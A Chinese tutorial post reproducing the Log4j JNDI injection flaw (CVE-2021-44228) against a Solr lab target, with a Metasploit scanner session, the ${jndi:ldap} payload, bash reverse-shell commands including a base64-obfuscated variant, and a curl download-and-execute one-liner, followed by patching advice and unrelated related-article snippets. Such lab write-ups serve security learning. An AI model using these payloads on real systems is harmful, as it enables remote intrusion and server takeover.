log4j漏洞复现

news2024/10/5 20:20:31

1、apache log4j

是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。

JNDI:

命名和目录接口,是java的一个目录服务应用程序接口,功能:提供一个目录系统,将服务名称和对象关联起来,使开发能使用名称来访问对象。

目录系统:通过名字可以访问服务

如:http ------web服务

jndi可以远程加载ldap、rmi服务端提供的一些恶意代码

ldap:轻量级目录访问协议(类似于http,可以通过ldap://xxx.com访问)

log4j:

fatal  严重/致命

error  错误

warn   警告

info   信息

debug  调试

trace  程序运行轨迹

all    所有日志级别

定制     自定义的级别

2、漏洞发现或检测

(1)启动靶场

docker-compose up -d

浏览器访问http://192.169.59.10:8983

如物理机无法访问

[root@localhost CVE-2021-44228]# docker-compose down

[root@localhost CVE-2021-44228]# systemctl stop docker

[root@localhost CVE-2021-44228]# ifconfig docker0 down

[root@localhost CVE-2021-44228]# brctl delbr docker0

[root@localhost CVE-2021-44228]# systemctl start docker

[root@localhost CVE-2021-44228]# docker-compose up -d

(2)msf检测

msfdb run

msf6 > use auxiliary/scanner/http/log4shell_scanner

msf6 auxiliary(scanner/http/log4shell_scanner) > show options

msf6 auxiliary(scanner/http/log4shell_scanner) > set rhosts 192.168.59.10

rhosts => 192.168.59.10

msf6 auxiliary(scanner/http/log4shell_scanner) > set rport 8983

rport => 8983

msf6 auxiliary(scanner/http/log4shell_scanner) > set srvhost 192.168.59.6

srvhost => 192.168.59.6

msf6 auxiliary(scanner/http/log4shell_scanner) > run

3、漏洞利用

dnslog外带数据证明是否存在漏洞

比如注册一个域名xiaoxiang.com ,我把它得A记录解析到192.168.1.1, 当dns服务器发起 www.xiaoxiang.com请求时,dnslog中会记录下来这个域名,并给www.xiaoxiang.com做一下解析,解析得ip是192.168.1.1

我们把想获取得数据或信息和dnslog平台得域名拼接起来,dnslog平台就会把目标服务器的请求记录显示出来

Log4j漏洞路径:/solr/admin/cores?action=

4、利用log4j漏洞获取服务器权限

方法一:利用中转机反弹shell

方法二:bash反弹

kali启用ldap服务

在目标机执行反弹shell的命令

反弹shell:让目标机主动外联攻击机

正向shell:ssh登录

命令:bash -i > /dev/tcp/192.168.59.6/5555 2>&1 0>&1

bash -i 创建一个交互式的shell

/dev/tcp/192.168.59.6/5555  去连接59.6的5555端口

/dev/tcp   打开这个文件相当于发起了一个socket连接,读写这个文件就相当于在socket传输数据

0   标准输入   I

1   标准输出   O

2   标准错误

精简版:bash -i >& /dev/tcp/192.168.59.6/5555 0>&1

>& 将标准输出和错误重定向到59.6/5555

base64编码  YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx

c

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}"     空格用逗号代替

curl -so /tmp/jiali http://192.168.59.6/jiali;chmod +x /tmp/jiali;/tmp/jiali;rm -f /tmp/jiali

5、修复建议

根除方案

(1)升级到2.15.0版本及以上

不要用2.15.0-rc1和2.15.0-rc2

(2)加装防护设备

(3)配置策略阻断log4j利用链

临时处置措施

(1)升级java版本

(2)修改log4j配置

jvm参数设置成true

(3)禁止log4j所在的服务器外连

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1578069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法学习 | day36/60 背包问题/分割等和子集

一、题目打卡 1.1 二维背包问题 题目链接&#xff1a;46. 携带研究材料&#xff08;第六期模拟笔试&#xff09; #include<iostream> #include<vector> using namespace std;int n, bagweight;// bagweight代表行李箱空间 void solve() {vector<int> weight…

云手机提供私域流量变现方案

当今数字营销领域&#xff0c;私域流量是一座巨大的金矿&#xff0c;然而并非人人能够轻易挖掘。一家营销公司面临着利用社交、社区、自媒体等应用积累私域流量&#xff0c;并通过销售产品、推送广告等方式实现流量变现的挑战与困境。本文将详细介绍这家公司是如何通过云手机&a…

Flutter学习11 - Future 与 FutureBuilder

1、Future 可以利用 Future 实现异步调用 1.1、Future 的两种形式 自定义一个结果类 class Response {String _data;Response(this._data); }自定义方法实现 Future Future<Response> testFuture() {var random Random();int randomNumber random.nextInt(10);if …

IDEA页面配置:(基本配置)

IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09; 文章目录 IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09;前言&#xff1a;一、主要内容&#xff1a;&#x1f60d;1. 页面背景改为 白色&#xff08;设置主题&#xff09;2. &#xff08;设置字体&#…

基于java+springboot+vue实现的教学辅助系统(文末源码+Lw)23-225

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#…

Java常用API_System——常用方法及代码演示

1.System.exit(int status) 方法的形参int status为状态码&#xff0c;如果是0&#xff0c;说明虚拟机正常停止&#xff0c;如果非0&#xff0c;说明虚拟机非正常停止。需要将程序结束时可以调用这个方法 代码演示&#xff1a; public class Test {public static void main(S…

动态输出n位小数——满满都是坑!

【题目描述】 输入正整数a&#xff0c;b&#xff0c;c&#xff0c;输出a/b的小数形式&#xff0c;精确到小数点后c位。a,b ≤10^6 &#xff0c;c≤100。输入包含多组数据&#xff0c;结束标记为a&#xff1d;b&#xff1d;c&#xff1d;0。 【样例输入】 1 6 4 0 0 0 【样…

2012年认证杯SPSSPRO杯数学建模D题(第二阶段)人机游戏中的数学模型全过程文档及程序

2012年认证杯SPSSPRO杯数学建模 D题 人机游戏中的数学模型 原题再现&#xff1a; 计算机游戏在社会和生活中享有特殊地位。游戏设计者主要考虑易学性、趣味性和界面友好性。趣味性是本质吸引力&#xff0c;使玩游戏者百玩不厌。网络游戏一般考虑如何搭建安全可靠、丰富多彩的…

[开源] 基于GRU的时间序列预测模型python代码

基于GRU的时间序列预测模型python代码分享给大家&#xff0c;记得点赞哦 #!/usr/bin/env python # coding: utf-8import time time_start time.time() import numpy as np import matplotlib.pyplot as plt import pandas as pd import math from keras.models import Sequent…

免费分享一套微信小程序在线订餐(点餐)配送系统(SpringBoot+Vue),帅呆了~~

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的微信小程序在线订餐(点餐)配送系统(SpringBootVue)&#xff0c;分享下哈。 项目视频演示 【免费】微信小程序在线订餐(点餐)配送系统(SpringBootVue) Java毕业设计_哔哩哔哩_bilibili【免费】微信小程序在…

两相欠压继电器 WY-35A3 额定输入电压100V 导轨安装 JOSEF约瑟

系列型号&#xff1a; WY-35A4电压继电器&#xff1b;WY-35B4电压继电器&#xff1b; WY-35C4电压继电器&#xff1b;WY-35D4电压继电器&#xff1b; WY-35A4D电压继电器&#xff1b;WY-35A4T电压继电器&#xff1b; WY-35B4D电压继电器&#xff1b;WY-35B4T电压继电器&#xf…

希亦、添可、追觅洗地机深入对比,哪个更胜一筹?选择不再迷茫

洗地机不仅能快速打扫地面&#xff0c;省时又省力&#xff0c;还能把室内弄得干干净净的&#xff0c;用起来感觉特舒服。但是面对目前市面上几百个型号的洗地机&#xff0c;在观望洗地机的家庭&#xff0c;大多数都是不确定哪款洗地机适合自己&#xff0c;今天笔者就带来了三款…

Flink内存模型

1、Flink进程内存模型 配置项 TaskManager 配置参数 JobManager 配置参数 Flink 总内存taskmanager.memory.flink.sizejobmanager.memory.flink.size进程总内存taskmanager.memory.process.sizejobmanager.memory.process.size 2、Task Managers内存模型 组成部分 配…

JSON字符串中获取一个特定字段的值

JSON字符串中获取一个特定字段的值 一、方式一&#xff0c;引用gson工具二、方式二&#xff0c;使用jackson三、方式三&#xff0c;使用jackson转换Object四、方式四&#xff0c;使用hutool&#xff0c;获取报文数组数据 一、方式一&#xff0c;引用gson工具 测试报文&#xf…

八字测算qq手机号码生辰吉凶81数理测算数据

#小李子9479# 首先&#xff0c;要有81数理的数据&#xff0c;经过多方搜集&#xff0c;终于整理成下面sql数据表。 **注意&#xff0c;以阳历&#xff0c;即农历日期为准。** 根据生日年月日时计算81数理钩子数&#xff0c; 年&#xff0c;月&#xff0c;日&#xff0c;时分…

使用 Python 批量提取 Excel 中的图片(提供工具下载链接)

本文收录于《Python入门核心技术》专栏&#xff0c;专栏总目录&#xff1a;点这里&#xff0c;订阅后可阅读专栏内所有文章。 大家好&#xff0c;我是水滴~~ 本文主要讲解如何利用 Python 来批量提取 Excel 中的图片&#xff0c;分别保存到目录中。并将程序打包成可执行文件&am…

【MATLAB源码-第180期】基于matlab的PTS,SLM,CPFilter三种降低OFDM系统的PAPR仿真。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 1. 限幅和滤波&#xff08;Clipping and Filtering&#xff09; 原理简介 限幅和滤波是一种基础且直观的方法&#xff0c;用于降低OFDM信号的PAPR。在限幅阶段&#xff0c;信号的幅度在达到设定阈值时会被削减&#xff0c;…

《springcloud alibaba》 四 seata安装以及使用

目录 准备调整db配置准备创建数据库 seata配置nacos配置confi.txt下载向nacos推送配置的脚本 启动seata新建项目order-seata项目 订单项目数据库脚本pom.xmlapplication.yml启动类实体类dao类service类controller类feign类mapper类 stock-seata 库存项目数据库脚本pom.xmlappli…

高效解决Ubuntu Server 18.04.1 LTS 64bit更新gdb8.1.1到gdb12.1

文章目录 问题解决步骤 问题 因为需要用到gdb一些指令&#xff0c;但是gdb8.x好像存在普遍的问题&#xff0c;实现不了某些指令&#xff0c;比方说set detach-on-fork on&#xff0c;升级版本也没有比较好的教程 经过我不断的试错&#xff0c;我终于升级成功了&#xff01;&a…

Qt使用QWidget重绘实现圆环形渐变色进度条(支持不确定进度模式)

效果如下&#xff1a; 从纯竖直方向顶部蓝色到底部青色的渐变。 从左上角偏左45到右下角偏右45的蓝色到青色渐变。 从左上角偏左22.5到右下角偏右22.5的蓝色到青色渐变。&#xff08;这个角度渐变最好看&#xff09; 可以选择添加背景图片 支持两种模式&#xff1a;正常进度模…